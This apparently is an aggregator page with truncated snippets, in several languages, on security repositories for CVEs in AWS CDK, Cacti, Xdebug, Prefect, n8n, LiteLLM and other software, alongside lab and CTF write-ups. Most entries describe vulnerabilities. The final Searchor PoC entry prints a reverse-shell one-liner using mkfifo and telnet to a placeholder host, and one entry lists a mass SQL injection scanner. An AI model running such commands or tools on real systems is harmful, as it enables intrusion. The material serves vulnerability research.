CVE-2026-11417-AWS-CDK-RCE

AWS CDK NodejsFunction의 공급망 명령 주입 취약점 CVE-2026-11417 작성자: Hesham Ashraf @HeshamASH 날짜: 2026년 6월 10일 심각도: 높음 CVSSv3.1: 7.3, CVSSv4: 7.0 CWE: CWE-78 — OS 명령에 사용되는 특수 요소의 부적절한 중화 OS 명령 주입 영향을 받는 패키지: aws-cdk-lib npm, 2.245.0 이전의 모든 버전 공급업체: Amazon Web Services AWS 상태: 패치됨 PR 37292, PR 37412 | CVE:...

CVE-2026-5513

CVE-2026-5513 https://t.me/FreeToolsCpa CVE-2026-5513 — Bookly ≤ 27.2 Stored XSS via Cookie CVE-2026-5513 — Bookly ≤ 27.2 Stored XSS via Cookie CVE CVSS Type Auth https://t.me/FreeToolsCpa CVE file In Group 概要 フィールド 値 CVE ID CVE-2026-5513 脆弱性 Stored Cross-Site Scripting XSS プラグイン Bookly — Online...

CVE-2015-10141

CVE-2015-10141 – XDebug リモートコード実行 RCE CVE-2015-10141 は、Xdebug バージョン 2.5.5 以前 に影響を与える 認証不要の OS コマンドインジェクション 脆弱性です。 根本原因: Xdebug のリモートデバッグ機能が有効な場合、拡張機能は ポート 9000 で待機し、いかなる認証も行わず デバッガプロトコルコマンドを受け入れます。 攻撃ベクトル: 攻撃者は、このインターフェースを介して特別に細工した eval コマンドを送信し、任意の PHP コードを実行できます。これにより、system や passthru...

CVE-2026-39949

CVE-2026-39949: ホスト変数インジェクションによる Cacti の認証済みリモートコード実行 概要 Cacti ≤ 1.2.30 の OS コマンドインジェクションの脆弱性により、デバイスおよびグラフテンプレート作成権限を持つ認証済みユーザーは、基盤となるサーバー上で任意のコマンドを実行できます。この欠陥は、ユーザーが制御するホストメタデータフィールド（具体的にはデバイスのメモ欄）が、Cacti の変数置換エンジンを介して RRDtool...

sqlmc

SQLMC - SQL Injection Massive Checker Demo Information This tool is for educational purpose only, usage of SQLMC for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage cause by this program. Overview SQLMC SQL...

sqlmc

SQLMC - SQL 인젝션 대량 점검기 Demo 정보 이 도구는 교육 목적으로만 사용해야 하며, 사전 상호 동의 없이 SQLMC를 사용하여 대상을 공격하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 개요 SQLMCSQL Injection Massive Checker는 도메인의 SQL 인젝션 취약점을 스캔하도록 설계된 도구입니다. 주어진 URL을 지정된 깊이까지 크롤링하고, 각 링크의 SQL 인젝션 취약점을 확인한 후 결과를 보고합니다. 기능 도메인...

Simple-CTF-Writeup

Simple-CTF-Writeup 전문 TryHackMe Simple CTF 워크스루: 열거, CMS Made Simple SQL 인젝션CVE-2019-9053, 자격 증명 복구, SSH 접속, Vim을 통한 권한 상승, 루트 장악. TryHackMe - Simple CTF Writeup TryHackMe의 Simple CTF 룸 완전 워크스루: 정찰, 열거, 익스플로잇, 자격 증명 복구, 권한 상승, 플래그 획득. 룸 정보 필드| 값 ---|--- 플랫폼| TryHackMe 룸 이름| Simple CTF 난이도| Easy...

CVE2026-42926

CVE-2026-42926 NGINX HTTP/2 フレームインジェクションラボ CVE-2026-42926 に関連する挙動を検証・比較するための、管理されたサイバーセキュリティラボです。この問題は、脆弱なプロキシ構成が使用されている場合に特定の NGINX バージョンへ影響する HTTP/2 フレームインジェクション です。 このリポジトリは、防御的研究、パッチ検証、構成監査、および管理されたラボ環境での再現のみ を目的としています。 分類: HTTP/2 フレームインジェクション 影響を受けるバージョン: NGINX 1.29.4 〜 1.30.0 修正済みバージョン: NGI...

prefect-cve-2026-5366

PoC: CVE-2026-5366 - PrefectGitRepository의 Git 인자 주입 취약점: commitsha를 통한 RCE로 이어지는 git 인자 주입 directories를 통한 인자 주입도 포함 버전: 3.6.23에서 취약, 3.6.25+에서 수정됨 파일: src/prefect/runner/storage.py Huntr: https://huntr.com/bounties/e2e88a0f-a8f6-49c9-94c5-e98dc385f07a CVE: CVE-2026-5366 면책 조항 이 자료는 이미 공개되고 패치된...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — RCE 시뮬레이션 랩 이 랩은 CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE 취약점을 시뮬레이션하도록 설계되었습니다. ProFTPD의 modcopy 모듈을 통한 웹 셸 삽입 RCEWeb Shell Injection RCE 학습에 사용됩니다. 기능 취약한Vulnerable ProFTPD 1.3.5 modcopy 완전 활성화 SITE CPFR / SITE CPTO 익명 FTPAnonymous FTP 지원 웹 루트 /var/www/htm...

n8n-CVE-2025-68613

🔥 n8n CVE-2025-68613 — リモートコード実行研究 このリポジトリには、n8nワークフロー自動化プラットフォームにおける重大なリモートコード実行脆弱性 CVE-2025-68613 に対する完全な脆弱性研究、悪用方法論、検知エンジニアリング、およびTryHackMeウォークスルーが含まれています。 📌 CVE概要 CVE ID: CVE-2025-68613 深刻度: 重大 CVSS 9.9 脆弱性タイプ: 式インジェクション → RCE 影響を受けるバージョン: 0.211.0 – 1.120.3 修正バージョン: 1.120.4+, 1.121.1+, 1.122....

CVE-2025-42957-SAP-S-4HANA-Under-Siege

CVE-2025-42957-SAP-S-4HANA-Under-Siege 1 – 무슨 일이 있었나요? 2025년 8월, SAP의 주력 ERP 플랫폼 S/4HANA 에서 RFC 지원 함수 모듈 중 하나에 취약점이 발견되었습니다. 낮은 권한만 가진 공격자가 해당 모듈에 임의의 ABAP 코드를 주입하여 정상적인 권한 검사를 우회하고 시스템 전체를 제어할 수 있습니다. 이 결함은 이론적인 호기심이 아닙니다. 이미 SecurityBridge Threat Research Labs 에서 악용되었으며, 온프레미스 및 프라이빗 클라우드 배포 환경...

CVE-2026-33453

camel-coap 헤더 인젝션 → RCE 취약점 재현 도구 CVE-2026-33453 이 프로젝트는 Apache Camel camel-coap 컴포넌트에서 CVE-2026-33453 으로 추적되는 Camel 메시지 헤더 인젝션 취약점을 시연합니다. 인증되지 않은 공격자가 단일 CoAP UDP 패킷을 전송하면 Exchange에 임의의 Camel 제어 헤더를 주입할 수 있으며, 라우트가 camel-exec와 같은 헤더에 민감한 프로듀서로 전달할 때 원격 코드 실행 이 가능합니다. 권고문:...

CVE-2026-82615

itsourcecode Online Medicine Delivery System 1.0 is affected by a SQL injection vulnerability in the Password Recovery Interface . The flaw resides in the Customer::find_phone function within /passwordrecover.php, where unsanitized input in the phonenumber argument is passed to a database query. ...

EUVD-2026-68352

A vulnerability has been found in itsourcecode Online Medicine Delivery System 1.0. This issue affects the function Customer::findphone of the file /passwordrecover.php of the component Password Recovery Interface. The manipulation of the argument phonenumber leads to sql injection. Remote...

CVE-2026-82615 itsourcecode Online Medicine Delivery System Password Recovery passwordrecover.php find_phone sql injection

A vulnerability has been found in itsourcecode Online Medicine Delivery System 1.0. This issue affects the function Customer::findphone of the file /passwordrecover.php of the component Password Recovery Interface. The manipulation of the argument phonenumber leads to sql injection. Remote...

CVE-2025-58440

CVE-2025-58440 Laravel FileManager에서 Polyglot 파일 공격과 Null Byte Injection을 통한 원격 코드 실행RCE 개요 unisharp/laravel-filemanager 패키지 2.11 버전은 파일 업로드 시 부적절한 파일 유형 검증으로 인해 원격 코드 실행RCE 취약점에 노출됩니다. 이 취약점으로 인해 공격자는 파일 확장자 검증을 악용해 GIF 이미지로 위장한 악성 PHP 파일을 업로드할 수 있습니다. 구체적으로, 공격자는 .php 확장자에 마침표.를 추가하고 GIF89a; 헤더...

CVE-2025-68664-LangGrinch-PoC

📑 목차 🎯 경영진 요약 📂 프로젝트 구조...

litellm-sqli-scanner

LiteLLM SQL 인젝션 스캐너 CVE-2026-42208 — LiteLLM 프록시의 SQL 인젝션 CVE-2026-42208LiteLLM 프록시 데이터베이스 계층의 SQL 인젝션 취약점을 탐지하고 검증합니다. 승인된 보안 테스트에만 사용하십시오. 기능 CVE-2026-42208 SQL 인젝션 탐지 LiteLLM 프록시 버전 핑거프린팅 PoC 검증 페이로드 구조화된 JSON / 텍스트 출력 요구 사항 Python 3.8+ 사용법 root@kitploit: python litellmscanner.py --url...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE 漏洞利用（PoC） 通过 Searchor（ --test 执行自定义命令 在目标服务器上运行任意命令： root@kitploit: python3 CVE-2023-43364.py -a "whoami" 示例： root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls -la" 反弹 Shell 在你的机器上启动监听器：...